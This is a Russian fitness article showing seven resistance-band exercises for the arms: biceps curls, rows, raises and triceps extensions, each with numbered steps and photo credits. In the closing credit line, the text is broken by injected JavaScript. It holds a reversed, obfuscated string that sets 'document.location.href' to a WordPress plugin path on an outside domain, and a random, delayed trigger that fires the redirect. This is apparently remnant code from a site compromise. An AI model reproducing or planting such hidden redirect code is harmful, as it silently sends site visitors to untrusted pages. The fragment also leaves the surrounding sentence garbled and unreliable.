Как сделать руки красивыми: 7 упражнений с резинками

Хорошо проработать мышцы рук можно с помощью фитнес-резинки. Упражнения, которые сделают ваш бицепс рельефным, показывает Оксана Пикмулова, тренер спортивного клуба «ФитнесМания», мастер спорта по лёгкой атлетике, чемпионка России по кроссфиту.

1. Бицепс

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Исходное положение — стоя на полу, зацепите резинку за ноги (встаньте на неё). Держите корпус прямо, локти смотрят вниз. 
2. Сгибайте предплечья к себе и возвращайте в исходное положение. Выдох на движении вверх.
3. Повторите 20 раз.

2. Тяга к груди

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Зацепите резинку на уровне груди и отойдите, создавая комфортное натяжение. Держите корпус прямо. 
2. На выдохе отводите локти назад. Руки на уровне плеч.
3. Повторите 20 раз.

3. Подъём прямых рук перед собой

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Зацепите резинку за ноги. Возьмите её так, чтобы при движении ладони смотрели в пол. 
2. На выдохе поднимите руки перед собой до уровня плеч, корпус держите прямо и неподвижно.
3. Повторите 20 раз.

4. Подъём прямых рук в стороны

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Зацепите резинку за ноги. Возьмите её так, чтобы при движении ладони смотрели в пол.
2. На выдохе разводите прямые руки чётко в стороны до уровня плеч.
3. Повторите 20 раз.

5. Тяга локтей вверх

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Зацепите резинку за ноги. Возьмите противоположные рукоятки резинки, скрещивая её. 
2. Сгибая локти, подтягивайте руки вверх к ушам.
3. Верните руки в исходное положение.
4. Повторите 20 раз.

6. Трицепс

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Зацепите резинку на уровне груди, повернитесь к ней спиной и отойдите, создавая комфортное натяжение.
2. Поднимайте руки, фиксируя выпрямление предплечья, и опускайте максимально за голову.
3. Повторите 20 раз.

7. Сведение рук перед собой

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Зацепите резинку на уровне груди, отойдите, создавая комфортное натяжение. Встаньте спиной к резинке, руки разведены в стороны и чуть согнуты на уровне плеч.
2. На выдохе соедините руки перед собой на уровне груди. 
3. Верните руки в стороны, не заводя за проекцию корпуса.
4. Повторите 20 раз.

Редакция fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru благодарит клуб «ФитнесМания» за помощь в организации и проведении съёмки.

Статьи по теме

Майский челлендж: 7 упражнений для ног и ягодиц, которые действительно работают

Ленивая тренировка: 8 упражнений, которые можно выполнять, не вставая с кровати

8 простых упражнений с резинкой для очень красивых ягодиц

Как тренироваться с ребёнком: 6 силовых упражнений для родителей